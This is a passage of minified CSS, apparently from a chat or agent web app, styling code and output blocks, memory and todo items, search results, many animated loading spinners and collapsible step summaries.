a{cursor:zoom-in}.code-block{margin-top:12px}.code-label,.output-label{font-weight:600;margin-bottom:6px;font-size:13px}.code-block pre,.output-block pre{margin:0;padding:12px;background:var(--hover-bg);border:1px solid var(--border-default);border-radius:6px;overflow-x:auto;font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;white-space:pre-wrap;word-wrap:break-word}:root[data-theme=dark] .code-block pre,:root[data-theme=dark] .output-block pre{color:var(--text-primary)!important;background:var(--hover-bg);border-color:var(--border-strong);text-shadow:none!important}:root[data-theme=dark] .code-block pre code,:root[data-theme=dark] .output-block pre code{color:var(--text-primary)!important;text-shadow:none!important;-webkit-text-fill-color:var(--text-primary)}.output-block{margin-top:12px}.memory-section{margin-bottom:12px}.memory-item{padding:6px 8px;margin:4px 0;border-radius:4px;font-size:13px;line-height:1.5}.memory-add{background:var(--diff-add-bg);color:var(--state-success)}.memory-update{background:color-mix(in srgb,var(--state-warning) 10%,transparent);color:var(--state-warning)}.memory-delete{background:var(--diff-del-bg);color:var(--state-danger)}.todo-list{padding:8px}.todo-item{padding:6px 0;font-size:13px;line-height:1.5;display:flex;align-items:center;gap:8px}.todo-item input[type=checkbox]{margin:0}.easter-egg-content{padding:12px;background:linear-gradient(135deg,color-mix(in srgb,var(--decorative-gold) 10%,transparent),color-mix(in srgb,var(--decorative-pink) 10%,transparent));border:1px solid color-mix(in srgb,var(--decorative-gold) 30%,transparent);border-radius:8px;font-size:14px;line-height:1.6}.search-match-separator{text-align:center;color:var(--text-tertiary);margin:12px 0;font-size:16px}.search-match-item{margin-bottom:12px;padding:8px;background:var(--hover-bg);border-radius:6px}:root[data-theme=dark] .search-match-item{background:var(--hover-bg)}.search-match-line{font-size:11px;color:var(--text-secondary);margin-bottom:4px;font-weight:600}:root[data-theme=dark] .search-match-line{color:var(--text-secondary)}.search-match-item pre{margin:0;font-size:12px;line-height:1.5}.search-match-snippet{font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.segment-separator{text-align:center;color:var(--text-tertiary);margin:12px 0;font-size:16px}.segment-item{margin-bottom:12px;padding:8px;background:var(--hover-bg);border-radius:6px}:root[data-theme=dark] .segment-item{background:var(--hover-bg)}.segment-range{font-size:11px;color:var(--text-secondary);margin-bottom:4px;font-weight:600}:root[data-theme=dark] .segment-range{color:var(--text-secondary)}.segment-item pre{margin:0;font-size:12px;line-height:1.5}.personalization-message{padding:12px;background:var(--hover-bg);border-radius:6px;font-size:13px;line-height:1.6;white-space:pre-wrap}:root[data-theme=dark] .personalization-message{background:var(--hover-bg)}.personalization-config-title{font-weight:600;margin-bottom:8px;color:var(--text-primary)}:root[data-theme=dark] .personalization-config-title{color:var(--text-primary)}.personalization-config-list{display:grid;gap:6px}.config-item{display:flex;justify-content:space-between;align-items:center;padding:6px 10px;background:var(--hover-bg);border-radius:4px;font-size:12px}:root[data-theme=dark] .config-item{background:var(--hover-bg)}.config-label{color:var(--text-secondary);font-weight:500}:root[data-theme=dark] .config-label{color:var(--text-secondary)}.config-value{color:var(--text-primary);font-weight:400}:root[data-theme=dark] .config-value{color:var(--text-primary)}.stacked-shell[data-v-be07323d]{transition:height .26s cubic-bezier(.4,0,.2,1),padding-top .26s cubic-bezier(.4,0,.2,1);will-change:height}.stacked-viewport[data-v-be07323d]{transition:height .26s cubic-bezier(.4,0,.2,1);will-change:height}.stacked-inner[data-v-be07323d]{transition:transform .26s cubic-bezier(.4,0,.2,1);will-change:transform}.stacked-shell--not-ready[data-v-be07323d],.stacked-shell--not-ready .stacked-viewport[data-v-be07323d],.stacked-shell--not-ready .stacked-inner[data-v-be07323d],.stacked-shell--not-ready .collapsible-content[data-v-be07323d]{transition:none!important}.stacked-shell--single[data-v-be07323d]{border-radius:12px;background:transparent}@keyframes loader_5191-afc6b5c3{0%{opacity:0}to{opacity:1}}.square-grid-loader[data-v-afc6b5c3]{position:relative;width:16px;height:16px}.square[data-v-afc6b5c3]{background:var(--text-tertiary);width:3px;height:3px;position:absolute;top:50%;left:50%;margin-top:-1.5px;margin-left:-1.5px;border-radius:.5px}#sq1[data-v-afc6b5c3]{margin-top:-7.5px;margin-left:-7.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out 0s infinite alternate}#sq2[data-v-afc6b5c3]{margin-top:-7.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out 75ms infinite alternate}#sq3[data-v-afc6b5c3]{margin-top:-7.5px;margin-left:4.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out .15s infinite}#sq4[data-v-afc6b5c3]{margin-left:-7.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out 225ms infinite}#sq5[data-v-afc6b5c3]{animation:loader_5191-afc6b5c3 675ms ease-in-out .3s infinite}#sq6[data-v-afc6b5c3]{margin-left:4.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out 375ms infinite}#sq7[data-v-afc6b5c3]{margin-top:4.5px;margin-left:-7.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out .45s infinite}#sq8[data-v-afc6b5c3]{margin-top:4.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out 525ms infinite}#sq9[data-v-afc6b5c3]{margin-top:4.5px;margin-left:4.5px;animation:loader_5191-afc6b5c3 675ms ease-in-out .6s infinite}@keyframes square-animation-db47acef{0%{left:0;top:0}10.5%{left:0;top:0}12.5%{left:8px;top:0}23%{left:8px;top:0}25%{left:16px;top:0}35.5%{left:16px;top:0}37.5%{left:16px;top:8px}48%{left:16px;top:8px}50%{left:8px;top:8px}60.5%{left:8px;top:8px}62.5%{left:8px;top:16px}73%{left:8px;top:16px}75%{left:0;top:16px}85.5%{left:0;top:16px}87.5%{left:0;top:8px}98%{left:0;top:8px}to{left:0;top:0}}.rotating-squares-loader[data-v-db47acef]{position:relative;width:24px;height:24px;transform:rotate(45deg)}.square[data-v-db47acef]{position:absolute;top:0;left:0;width:3px;height:3px;margin:.5px;background:var(--text-tertiary);animation:square-animation-db47acef 10s ease-in-out infinite both}.square[data-v-db47acef]:nth-of-type(1){animation-delay:-1.43s}.square[data-v-db47acef]:nth-of-type(2){animation-delay:-2.86s}.square[data-v-db47acef]:nth-of-type(3){animation-delay:-4.29s}.square[data-v-db47acef]:nth-of-type(4){animation-delay:-5.71s}.square[data-v-db47acef]:nth-of-type(5){animation-delay:-7.14s}.square[data-v-db47acef]:nth-of-type(6){animation-delay:-8.57s}.square[data-v-db47acef]:nth-of-type(7){animation-delay:-10s}.dual-chase-loader[data-v-337256ff]{--size: 6px;width:16px;height:16px;position:relative}.dual-chase-loader[data-v-337256ff]:after,.dual-chase-loader[data-v-337256ff]:before{box-sizing:border-box;position:absolute;content:"";width:var(--size);height:var(--size);top:50%;animation:chase-up-337256ff 2.4s cubic-bezier(0,0,.24,1.21) infinite;left:50%;background:var(--text-tertiary)}.dual-chase-loader[data-v-337256ff]:after{top:calc(50% - var(--size));left:calc(50% - var(--size));animation:chase-down-337256ff 2.4s cubic-bezier(0,0,.24,1.21) infinite}@keyframes chase-down-337256ff{0%,to{transform:none}25%{transform:translate(100%)}50%{transform:translate(100%) translateY(100%)}75%{transform:translateY(100%)}}@keyframes chase-up-337256ff{0%,to{transform:none}25%{transform:translate(-100%)}50%{transform:translate(-100%) translateY(-100%)}75%{transform:translateY(-100%)}}.bouncing-squares-loader[data-v-502bc545]{--loader-scale: .45;--square-size: 7.6px;--square-gap: 8.9px;--start-x: 3px;position:relative;width:40px;height:20px;transform:scale(var(--loader-scale));transform-origin:center}.square[data-v-502bc545]{position:absolute;width:var(--square-size);height:var(--square-size);left:15%;background-color:var(--text-tertiary);transform-origin:50%;animation:bounce-square-502bc545 .5s alternate infinite ease}@keyframes bounce-square-502bc545{0%{top:20px;height:calc(var(--square-size) * .667);transform:scaleX(1.7)}40%{height:var(--square-size);transform:scaleX(1)}to{top:0%}}.square[data-v-502bc545]:nth-child(1){left:var(--start-x)}.square[data-v-502bc545]:nth-child(2){left:calc(var(--start-x) + var(--square-size) + var(--square-gap));animation-delay:.2s}.square[data-v-502bc545]:nth-child(3){left:calc(var(--start-x) + (var(--square-size) + var(--square-gap)) * 2);animation-delay:.3s}.five-squares-loader[data-v-4ffc5a36]{--square: 3px;--offset: 7.5px;width:calc(3 * var(--offset) + var(--square));height:calc(2 * var(--offset) + var(--square));position:relative}.five-squares-loader div[data-v-4ffc5a36]{display:inline-block;background:var(--text-tertiary);width:var(--square);height:var(--square);position:absolute}.five-squares-loader #sq1[data-v-4ffc5a36]{left:0;top:0;animation:square1-4ffc5a36 2.4s .2s ease-in-out infinite}.five-squares-loader #sq2[data-v-4ffc5a36]{left:0;top:var(--offset);animation:square2-4ffc5a36 2.4s .2s ease-in-out infinite}.five-squares-loader #sq3[data-v-4ffc5a36]{left:var(--offset);top:var(--offset);animation:square3-4ffc5a36 2.4s .2s ease-in-out infinite}.five-squares-loader #sq4[data-v-4ffc5a36]{left:calc(2 * var(--offset));top:var(--offset);animation:square4-4ffc5a36 2.4s .2s ease-in-out infinite}.five-squares-loader #sq5[data-v-4ffc5a36]{left:calc(3 * var(--offset));top:var(--offset);animation:square5-4ffc5a36 2.4s .2s ease-in-out infinite}@keyframes square1-4ffc5a36{0%{left:0;top:0}8.33%{left:0;top:var(--offset)}to{left:0;top:var(--offset)}}@keyframes square2-4ffc5a36{0%{left:0;top:var(--offset)}8.33%{left:0;top:calc(2 * var(--offset))}16.67%{left:var(--offset);top:calc(2 * var(--offset))}25%{left:var(--offset);top:var(--offset)}83.33%{left:var(--offset);top:var(--offset)}91.67%{left:var(--offset);top:0}to{left:0;top:0}}@keyframes square3-4ffc5a36{0%,to{left:var(--offset);top:var(--offset)}16.67%{left:var(--offset);top:var(--offset)}25%{left:var(--offset);top:0}33.33%{left:calc(2 * var(--offset));top:0}41.67%{left:calc(2 * var(--offset));top:var(--offset)}66.67%{left:calc(2 * var(--offset));top:var(--offset)}75%{left:calc(2 * var(--offset));top:calc(2 * var(--offset))}83.33%{left:var(--offset);top:calc(2 * var(--offset))}91.67%{left:var(--offset);top:var(--offset)}}@keyframes square4-4ffc5a36{0%{left:calc(2 * var(--offset));top:var(--offset)}33.33%{left:calc(2 * var(--offset));top:var(--offset)}41.67%{left:calc(2 * var(--offset));top:calc(2 * var(--offset))}50%{left:calc(3 * var(--offset));top:calc(2 * var(--offset))}58.33%{left:calc(3 * var(--offset));top:var(--offset)}to{left:calc(3 * var(--offset));top:var(--offset)}}@keyframes square5-4ffc5a36{0%{left:calc(3 * var(--offset));top:var(--offset)}50%{left:calc(3 * var(--offset));top:var(--offset)}58.33%{left:calc(3 * var(--offset));top:0}66.67%{left:calc(2 * var(--offset));top:0}75%{left:calc(2 * var(--offset));top:var(--offset)}to{left:calc(2 * var(--offset));top:var(--offset)}}.nine-grid-loader[data-v-62be6033]{position:relative;width:20px;height:20px}.box[data-v-62be6033]{float:left;position:relative;width:3px;height:3px;margin-right:4px}.box[data-v-62be6033]:before{content:"";position:absolute;left:0;top:0;width:100%;height:100%;background:var(--text-tertiary)}.box[data-v-62be6033]:nth-child(3n){margin-right:0;margin-bottom:4px}.box[data-v-62be6033]:nth-child(1):before,.box[data-v-62be6033]:nth-child(4):before{margin-left:7px}.box[data-v-62be6033]:nth-child(3):before{margin-top:14px}.box[data-v-62be6033]:last-child{margin-bottom:0}.box[data-v-62be6033]:nth-child(1){animation:moveBox-1-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(2){animation:moveBox-2-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(3){animation:moveBox-3-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(4){animation:moveBox-4-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(5){animation:moveBox-5-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(6){animation:moveBox-6-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(7){animation:moveBox-7-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(8){animation:moveBox-8-62be6033 4s infinite}.box[data-v-62be6033]:nth-child(9){animation:moveBox-9-62be6033 4s infinite}@keyframes moveBox-1-62be6033{9%{transform:translate(-7px)}18%{transform:translate(0)}27%{transform:translate(0)}36%{transform:translate(7px)}45%{transform:translate(7px,7px)}54%{transform:translate(7px,7px)}63%{transform:translate(7px,7px)}72%{transform:translate(7px)}81%{transform:translate(0)}90%{transform:translate(-7px)}to{transform:translate(0)}}@keyframes moveBox-2-62be6033{9%{transform:translate(0)}18%{transform:translate(7px)}27%{transform:translate(0)}36%{transform:translate(7px)}45%{transform:translate(7px,7px)}54%{transform:translate(7px,7px)}63%{transform:translate(7px,7px)}72%{transform:translate(7px,7px)}81%{transform:translateY(7px)}90%{transform:translateY(7px)}to{transform:translate(0)}}@keyframes moveBox-3-62be6033{9%{transform:translate(-7px)}18%{transform:translate(-7px)}27%{transform:translate(0)}36%{transform:translate(-7px)}45%{transform:translate(-7px)}54%{transform:translate(-7px)}63%{transform:translate(-7px)}72%{transform:translate(-7px)}81%{transform:translate(-7px,-7px)}90%{transform:translateY(-7px)}to{transform:translate(0)}}@keyframes moveBox-4-62be6033{9%{transform:translate(-7px)}18%{transform:translate(-7px)}27%{transform:translate(-7px,-7px)}36%{transform:translateY(-7px)}45%{transform:translate(0)}54%{transform:translateY(-7px)}63%{transform:translateY(-7px)}72%{transform:translateY(-7px)}81%{transform:translate(-7px,-7px)}90%{transform:translate(-7px)}to{transform:translate(0)}}@keyframes moveBox-5-62be6033{9%{transform:translate(0)}18%{transform:translate(0)}27%{transform:translate(0)}36%{transform:translate(7px)}45%{transform:translate(7px)}54%{transform:translate(7px)}63%{transform:translate(7px)}72%{transform:translate(7px)}81%{transform:translate(7px,-7px)}90%{transform:translateY(-7px)}to{transform:translate(0)}}@keyframes moveBox-6-62be6033{9%{transform:translate(0)}18%{transform:translate(-7px)}27%{transform:translate(-7px)}36%{transform:translate(0)}45%{transform:translate(0)}54%{transform:translate(0)}63%{transform:translate(0)}72%{transform:translateY(7px)}81%{transform:translate(-7px,7px)}90%{transform:translate(-7px)}to{transform:translate(0)}}@keyframes moveBox-7-62be6033{9%{transform:translate(7px)}18%{transform:translate(7px)}27%{transform:translate(7px)}36%{transform:translate(0)}45%{transform:translateY(-7px)}54%{transform:translate(7px,-7px)}63%{transform:translateY(-7px)}72%{transform:translateY(-7px)}81%{transform:translate(0)}90%{transform:translate(7px)}to{transform:translate(0)}}@keyframes moveBox-8-62be6033{9%{transform:translate(0)}18%{transform:translate(-7px)}27%{transform:translate(-7px,-7px)}36%{transform:translateY(-7px)}45%{transform:translateY(-7px)}54%{transform:translateY(-7px)}63%{transform:translateY(-7px)}72%{transform:translateY(-7px)}81%{transform:translate(7px,-7px)}90%{transform:translate(7px)}to{transform:translate(0)}}@keyframes moveBox-9-62be6033{9%{transform:translate(-7px)}18%{transform:translate(-7px)}27%{transform:translate(0)}36%{transform:translate(-7px)}45%{transform:translate(0)}54%{transform:translate(0)}63%{transform:translate(-7px)}72%{transform:translate(-7px)}81%{transform:translate(-14px)}90%{transform:translate(-7px)}to{transform:translate(0)}}.ripple-loader[data-v-e8d9f3ef]{--cell-size: 3px;--cell-gap: 4px;display:grid;grid-template-columns:repeat(3,var(--cell-size));grid-template-rows:repeat(3,var(--cell-size));gap:var(--cell-gap);width:calc(3 * var(--cell-size) + 2 * var(--cell-gap));height:calc(3 * var(--cell-size) + 2 * var(--cell-gap))}.cell[data-v-e8d9f3ef]{width:var(--cell-size);height:var(--cell-size);background-color:transparent;animation:1.5s ripple-e8d9f3ef ease infinite}.cell.d-1[data-v-e8d9f3ef]{animation-delay:.1s}.cell.d-2[data-v-e8d9f3ef]{animation-delay:.2s}.cell.d-3[data-v-e8d9f3ef]{animation-delay:.3s}.cell.d-4[data-v-e8d9f3ef]{animation-delay:.4s}.cell[data-v-e8d9f3ef]:nth-child(1),.cell[data-v-e8d9f3ef]:nth-child(2),.cell[data-v-e8d9f3ef]:nth-child(3),.cell[data-v-e8d9f3ef]:nth-child(4),.cell[data-v-e8d9f3ef]:nth-child(5),.cell[data-v-e8d9f3ef]:nth-child(6),.cell[data-v-e8d9f3ef]:nth-child(7),.cell[data-v-e8d9f3ef]:nth-child(8),.cell[data-v-e8d9f3ef]:nth-child(9){--cell-color: var(--text-tertiary)}@keyframes ripple-e8d9f3ef{0%{background-color:transparent}30%{background-color:var(--cell-color)}60%{background-color:transparent}to{background-color:transparent}}.newton-loader[data-v-4316d9b8]{width:28px;height:28px;display:flex;align-items:center;justify-content:center}.dot[data-v-4316d9b8]{position:relative;display:flex;align-items:center;justify-content:center;height:100%;width:25%;transform-origin:center top}.dot[data-v-4316d9b8]:after{content:"";position:absolute;top:75%;width:3px;height:3px;background:var(--text-tertiary)}.dot[data-v-4316d9b8]:first-child{animation:swing-4316d9b8 1.2s linear infinite}.dot[data-v-4316d9b8]:last-child{animation:swing2-4316d9b8 1.2s linear infinite}@keyframes swing-4316d9b8{0%{transform:rotate(0);animation-timing-function:ease-out}25%{transform:rotate(70deg);animation-timing-function:ease-in}50%{transform:rotate(0);animation-timing-function:linear}}@keyframes swing2-4316d9b8{0%{transform:rotate(0);animation-timing-function:linear}50%{transform:rotate(0);animation-timing-function:ease-out}75%{transform:rotate(-70deg);animation-timing-function:ease-in}}.dot-spinner-loader[data-v-89be96b5]{--size: 22px;--speed: .9s;position:relative;display:flex;align-items:center;justify-content:flex-start;width:var(--size);height:var(--size)}.dot[data-v-89be96b5]{position:absolute;top:0;left:0;display:flex;align-items:center;justify-content:flex-start;width:100%;height:100%}.dot[data-v-89be96b5]:before{content:"";width:3px;height:3px;background:var(--text-tertiary);transform:scale(0);opacity:.5;animation:pulse-89be96b5 calc(var(--speed) * 1.111) ease-in-out infinite}.dot[data-v-89be96b5]:nth-child(2){transform:rotate(45deg)}.dot[data-v-89be96b5]:nth-child(2):before{animation-delay:calc(var(--speed) * -.875)}.dot[data-v-89be96b5]:nth-child(3){transform:rotate(90deg)}.dot[data-v-89be96b5]:nth-child(3):before{animation-delay:calc(var(--speed) * -.75)}.dot[data-v-89be96b5]:nth-child(4){transform:rotate(135deg)}.dot[data-v-89be96b5]:nth-child(4):before{animation-delay:calc(var(--speed) * -.625)}.dot[data-v-89be96b5]:nth-child(5){transform:rotate(180deg)}.dot[data-v-89be96b5]:nth-child(5):before{animation-delay:calc(var(--speed) * -.5)}.dot[data-v-89be96b5]:nth-child(6){transform:rotate(225deg)}.dot[data-v-89be96b5]:nth-child(6):before{animation-delay:calc(var(--speed) * -.375)}.dot[data-v-89be96b5]:nth-child(7){transform:rotate(270deg)}.dot[data-v-89be96b5]:nth-child(7):before{animation-delay:calc(var(--speed) * -.25)}.dot[data-v-89be96b5]:nth-child(8){transform:rotate(315deg)}.dot[data-v-89be96b5]:nth-child(8):before{animation-delay:calc(var(--speed) * -.125)}@keyframes pulse-89be96b5{0%,to{transform:scale(0);opacity:.5}50%{transform:scale(1);opacity:1}}.orbit-loader[data-v-19a87dd3]{--size-loader: 24px;--size-orbe: 3px;width:var(--size-loader);height:var(--size-loader);position:relative;transform:rotate(45deg)}.orbe[data-v-19a87dd3]{position:absolute;width:100%;height:100%;--delay: calc(var(--index) * .1s);opacity:calc(1 - calc(.18 * var(--index)));animation:orbit-19a87dd3 1.5s var(--delay) ease-in-out infinite}.orbe[data-v-19a87dd3]:after{content:"";position:absolute;top:0;left:0;width:var(--size-orbe);height:var(--size-orbe);background:var(--text-tertiary);filter:blur(.35px)}@keyframes orbit-19a87dd3{80%{transform:rotate(360deg)}to{transform:rotate(360deg)}}.shadow-rolling-loader[data-v-0934be8f]{--sq: 3px;width:var(--sq);height:var(--sq);position:relative;left:-10px;color:var(--text-tertiary);animation:roll-0934be8f 2s linear infinite}@keyframes roll-0934be8f{0%{box-shadow:0 0 transparent,0 0 transparent,0 0 transparent,0 0 transparent}12%{box-shadow:6px 0 currentColor,0 0 transparent,0 0 transparent,0 0 transparent}25%{box-shadow:12px 0 currentColor,6px 0 currentColor,0 0 transparent,0 0 transparent}36%{box-shadow:18px 0 currentColor,12px 0 currentColor,6px 0 currentColor,0 0 transparent}50%{box-shadow:24px 0 currentColor,18px 0 currentColor,12px 0 currentColor,6px 0 currentColor}62%{box-shadow:36px 0 transparent,24px 0 currentColor,18px 0 currentColor,12px 0 currentColor}75%{box-shadow:36px 0 transparent,36px 0 transparent,24px 0 currentColor,18px 0 currentColor}87%{box-shadow:36px 0 transparent,36px 0 transparent,36px 0 transparent,24px 0 currentColor}to{box-shadow:36px 0 transparent,36px 0 transparent,36px 0 transparent,36px 0 transparent}}.jumping-seq-loader[data-v-bb2c052b]{position:relative;display:flex;gap:5px}.sq[data-v-bb2c052b]{width:3px;height:3px;background:var(--text-tertiary);animation:jump-bb2c052b 2s ease infinite}.sq[data-v-bb2c052b]:nth-child(2n){animation-delay:.3s}.sq[data-v-bb2c052b]:nth-child(3n){animation-delay:.6s}@keyframes jump-bb2c052b{0%,to{transform:translateY(0)}25%{transform:translateY(-10px) scale(.66)}50%{transform:translateY(0)}75%{transform:translateY(3px) scale(.9)}}.chaotic-orbit-loader[data-v-c29a198e]{--size: 24px;--speed: 1.5s;position:relative;width:var(--size);height:var(--size);display:flex;align-items:center;justify-content:center;animation:rotate-c29a198e calc(var(--speed) * 1.667) linear infinite}.chaotic-orbit-loader[data-v-c29a198e]:before,.chaotic-orbit-loader[data-v-c29a198e]:after{content:"";position:absolute;width:3px;height:3px;background:var(--text-tertiary);will-change:transform}.chaotic-orbit-loader[data-v-c29a198e]:before{animation:orbit-c29a198e var(--speed) linear infinite}.chaotic-orbit-loader[data-v-c29a198e]:after{animation:orbit-c29a198e var(--speed) linear calc(var(--speed) / -2) infinite}@keyframes rotate-c29a198e{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes orbit-c29a198e{0%{transform:translate(12px) scale(.74);opacity:.65}25%{transform:translate(0) scale(.47);opacity:.3}50%{transform:translate(-12px) scale(.74);opacity:.65}75%{transform:translate(0) scale(1);opacity:1}to{transform:translate(12px) scale(.74);opacity:.65}}.leap-frog-loader[data-v-2e407c57]{--size: 24px;--speed: 2s;position:relative;width:var(--size);height:var(--size);display:flex;align-items:center;justify-content:space-between}.dot[data-v-2e407c57]{position:absolute;top:0;left:0;width:100%;height:100%;display:flex;align-items:center;justify-content:flex-start;animation:leap-2e407c57 var(--speed) ease infinite}.dot[data-v-2e407c57]:before{content:"";width:3px;height:3px;background:var(--text-tertiary)}.dot[data-v-2e407c57]:nth-child(2){transform:translate(calc(var(--size) * .4));animation-delay:calc(var(--speed) / -1.5)}.dot[data-v-2e407c57]:nth-child(3){transform:translate(calc(var(--size) * .8));animation-delay:calc(var(--speed) / -3)}@keyframes leap-2e407c57{0%{transform:translate(0) rotate(0)}33.333%{transform:translate(0) rotate(180deg)}66.666%{transform:translate(calc(var(--size) * -.4)) rotate(180deg)}99.999%{transform:translate(calc(var(--size) * -.8)) rotate(180deg)}to{transform:translate(0) rotate(0)}}.wave-matrix-loader[data-v-c583d74c]{--size: 28px;--speed: .7s;display:flex;align-items:center;justify-content:space-between;width:var(--size);height:16px}.sq[data-v-c583d74c]{width:3px;height:3px;background:var(--text-tertiary);animation:wave-c583d74c var(--speed) ease-in-out infinite}.sq[data-v-c583d74c]:nth-child(1){animation-delay:calc(var(--speed) * -.45)}.sq[data-v-c583d74c]:nth-child(2){animation-delay:calc(var(--speed) * -.3)}.sq[data-v-c583d74c]:nth-child(3){animation-delay:calc(var(--speed) * -.15)}.sq[data-v-c583d74c]:nth-child(4){animation-delay:0s}@keyframes wave-c583d74c{0%,to{transform:translateY(0)}50%{transform:translateY(-8px)}}.follow-track-loader[data-v-091a0000]{width:10px;height:22px;position:relative}.sq[data-v-091a0000]{width:2px;height:2px;position:absolute;left:50%;margin-left:-1px;background:var(--text-tertiary);animation:follow-track-091a0000 1.25s infinite}.sq[data-v-091a0000]:nth-child(1){top:0;animation-delay:.15s}.sq[data-v-091a0000]:nth-child(2){top:5px;animation-delay:.3s}.sq[data-v-091a0000]:nth-child(3){top:10px;animation-delay:.45s}.sq[data-v-091a0000]:nth-child(4){top:15px;animation-delay:.6s}.sq[data-v-091a0000]:nth-child(5){top:20px;animation-delay:.75s}@keyframes follow-track-091a0000{0%{transform:rotate(0) translateY(-4px)}60%,to{transform:rotate(360deg) translateY(-4px)}}.four-corner-loader[data-v-3a59d23d]{width:24px;height:24px;position:relative}.sq[data-v-3a59d23d]{width:3px;height:3px;position:absolute;top:50%;left:50%;margin-top:-1.5px;margin-left:-1.5px;background:var(--text-tertiary);animation:corner-cycle-3a59d23d 1.8s ease-in-out infinite}.sq[data-v-3a59d23d]:nth-child(1){animation-delay:-.45s}.sq[data-v-3a59d23d]:nth-child(2){animation-delay:-.9s}.sq[data-v-3a59d23d]:nth-child(3){animation-delay:-1.35s}.sq[data-v-3a59d23d]:nth-child(4){animation-delay:-1.8s}@keyframes corner-cycle-3a59d23d{0%,to{transform:translate(-6px,-6px)}25%{transform:translate(6px,-6px)}50%{transform:translate(6px,6px)}75%{transform:translate(-6px,6px)}}.markdown-renderer[data-v-8e651a8a]{display:contents}.markdown-text-segment[data-v-8e651a8a]{display:block}.md-html-chunk[data-v-8e651a8a]{display:contents}.markdown-text-segment[data-v-8e651a8a]>*:first-child{margin-top:0}.markdown-text-segment[data-v-8e651a8a]>*:last-child{margin-bottom:0}.minimal-blocks-container[data-v-203da854]{--chat-content-x: 0px;margin:16px 0;width:100%}.summary-group[data-v-203da854]{margin:16px 0;width:100%}.sub-agent-system-group[data-v-203da854]{margin:0}.sub-agent-system-group .sub-agent-system-summary-line[data-v-203da854]{cursor:default}.sub-agent-system-group .sub-agent-system-summary-line[data-v-203da854]:hover{background-color:transparent}.summary-line-text[data-v-203da854]{display:grid;grid-template-columns:minmax(0,1fr) auto;align-items:start;column-gap:8px;width:100%;padding:0;cursor:pointer;transition:background-color .2s}.summary-line-text[data-v-203da854]:hover{background-color:var(--surface-panel)}.summary-content-wrapper[data-v-203da854]{min-width:0;font-size:15px;color:var(--text-secondary);line-height:1.7;padding:0;position:relative;z-index:0}.summary-preview[data-v-203da854]{display:block;white-space:nowrap;overflow:hidden;color:inherit;mask-image:linear-gradient(to right,black 85%,transparent 100%);-webkit-mask-image:linear-gradient(to right,black 85%,transparent 100%)}.summary-tool-reel-window[data-v-203da854]{position:relative;display:inline-block;width:min(100%,36em);height:26px;overflow:hidden;vertical-align:top}.summary-tool-reel-window[data-v-203da854]:before,.summary-tool-reel-window[data-v-203da854]:after{content:"";position:absolute;left:0;right:0;z-index:1;height:6px;pointer-events:none}.summary-tool-reel-window[data-v-203da854]:before{top:0;background:linear-gradient(180deg,var(--surface-base),transparent)}.summary-tool-reel-window[data-v-203da854]:after{bottom:0;background:linear-gradient(0deg,var(--surface-base),transparent)}.summary-tool-reel-track[data-v-203da854]{position:absolute;top:0;left:0;right:0;display:block;will-change:transform}.summary-tool-reel-track.rolling[data-v-203da854]{transition:transform .52s cubic-bezier(.22,.9,.25,1)}.summary-tool-reel-track.settle[data-v-203da854]{transition:transform .17s cubic-bezier(.2,.72,.26,1)}.summary-tool-reel-item[data-v-203da854]{display:block;height:26px;line-height:26px;overflow:hidden;color:var(--text-secondary);text-overflow:ellipsis;white-space:nowrap}.summary-status-icon[data-v-203da854]{flex-shrink:0;margin-left:0;align-self:start;margin-top:calc((1.7em - 18px)/2);display:flex;align-items:center;justify-content:center;width:18px;height:18px;clip-path:inset(-100% 0 -100% -100%)}.summary-icon-inner[data-v-203da854]{display:flex;align-items:center;justify-content:center;transform:translate(-10px)}.check-icon[data-v-203da854]{color:var(--text-tertiary);width:18px;height:18px}.summary-line-text.running .summary-char[data-v-203da854]{display:inline-block;color:var(--text-secondary);animation:summaryPass-203da854 2s ease-in-out infinite}@keyframes summaryPass-203da854{0%,to{color:var(--text-secondary)}50%{color:var(--accent)}}body[data-theme=light] .summary-content-wrapper[data-v-203da854],body[data-theme=light] .summary-tool-reel-item[data-v-203da854]{color:var(--text-tertiary)}body[data-theme=light] .summary-line-text.running .summary-char[data-v-203da854]{color:var(--text-tertiary);animation-name:summaryPassLight-203da854}@keyframes summaryPassLight-203da854{0%,to{color:var(--text-tertiary)}50%{color:var(--accent)}}.steps-container[data-v-203da854]{display:grid;grid-template-rows:0fr;transition:grid-template-rows .3s cubic-bezier(.4,0,.2,1);margin-top:8px;width:100%;padding:0}@media (min-width: 769px){.summary-line-text[data-v-203da854],.steps-container[data-v-203da854]{padding:0 var(--chat-content-x)}}.steps-wrapper[data-v-203da854]{overflow:hidden;min-height:0;transition:content-visibility .3s;transition-behavior:allow-discrete}.steps-container:not(.show) .steps-wrapper[data-v-203da854]{content-visibility:hidden;contain-intrinsic-size:0}.steps-wrapper.height-limited[data-v-203da854]{max-height:min(450px,70vh);overflow-y:auto;scrollbar-width:none;-ms-overflow-style:none}.steps-wrapper.height-limited[data-v-203da854]::-webkit-scrollbar{display:none}.steps-container.show[data-v-203da854]{grid-template-rows:1fr}.step-item[data-v-203da854]{display:flex;gap:12px}.step-item[data-v-203da854]:not(:last-child){margin-bottom:16px}.step-timeline[data-v-203da854]{display:flex;flex-direction:column;align-items:center;flex-shrink:0;padding-top:2px;align-self:stretch}.step-icon[data-v-203da854]{flex-shrink:0;color:var(--text-tertiary)}.step-line[data-v-203da854]{width:2px;flex:1;background:var(--border-default);margin-top:4px;margin-bottom:-14px;flex-shrink:0}.step-item:last-child 